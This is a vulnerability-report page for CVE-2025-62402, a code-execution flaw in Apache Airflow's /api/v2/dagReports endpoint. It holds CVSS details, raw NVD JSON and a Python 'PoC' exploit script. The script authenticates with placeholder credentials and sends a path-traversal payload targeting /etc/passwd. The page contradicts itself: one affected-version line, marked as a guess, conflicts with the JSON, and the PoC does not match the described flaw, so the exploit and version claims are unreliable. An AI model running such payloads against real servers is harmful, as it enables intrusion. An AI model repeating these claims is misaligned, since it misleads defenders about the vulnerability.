Security Vulnerability Report
中文
CVE-2025-62402 CVSS 5.4 MEDIUM

CVE-2025-62402

Published: 2025-10-30 10:15:36
Last Modified: 2025-11-04 16:51:02

Description

API users via `/api/v2/dagReports` could perform Dag code execution in the context of the api-server if the api-server was deployed in the environment where Dag files were available.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:* - VULNERABLE
Apache Airflow < 2.10.0 (推测需要升级到包含修复的版本)
Apache Airflow api-server 在可访问DAG文件的环境中部署的所有版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62402 PoC - Apache Airflow DAG Code Execution # Target: Apache Airflow /api/v2/dagReports endpoint # Prerequisites: Valid API user credentials (low privilege sufficient) import requests import json import base64 TARGET_URL = "http://target-airflow-server:8080" API_ENDPOINT = "/api/v2/dagReports" USERNAME = "attacker" PASSWORD = "password" def exploit_cve_2025_62402(): """ PoC for CVE-2025-62402: DAG code execution via /api/v2/dagReports This exploits the insecure access to DAG files through the API endpoint. """ # Step 1: Authenticate and obtain session token auth_url = f"{TARGET_URL}/api/v1/login" auth_data = { "username": USERNAME, "password": PASSWORD } try: session = requests.Session() auth_response = session.post(auth_url, json=auth_data, timeout=10) if auth_response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Exploit the vulnerable endpoint exploit_url = f"{TARGET_URL}{API_ENDPOINT}" # Malicious payload to execute DAG code exploit_data = { "dag_id": "../../etc/passwd", # Path traversal to access DAG files "report_type": "execution", "include_code": True # This triggers code execution } exploit_response = session.post(exploit_url, json=exploit_data, timeout=10) if exploit_response.status_code == 200: print("[+] Exploit sent successfully") print(f"[+] Response: {exploit_response.text[:500]}") return True else: print(f"[-] Exploit failed with status: {exploit_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": print("CVE-2025-62402 PoC - Apache Airflow DAG Code Execution") print("=" * 60) exploit_cve_2025_62402()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62402", "sourceIdentifier": "[email protected]", "published": "2025-10-30T10:15:35.647", "lastModified": "2025-11-04T16:51:02.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "API users via `/api/v2/dagReports` could perform Dag code execution in the context of the api-server if the api-server was deployed in the environment where Dag files were available."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-250"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.1.1", "matchCriteriaId": "86A30AC1-F972-4F40-AC3B-A2DC722F85FF"}]}]}], "references": [{"url": "https://lists.apache.org/thread/vbzxnxn031wb998hsd7vqnvh4z8nx6rs", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/7", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List", "Third Party Advisory"]}]}}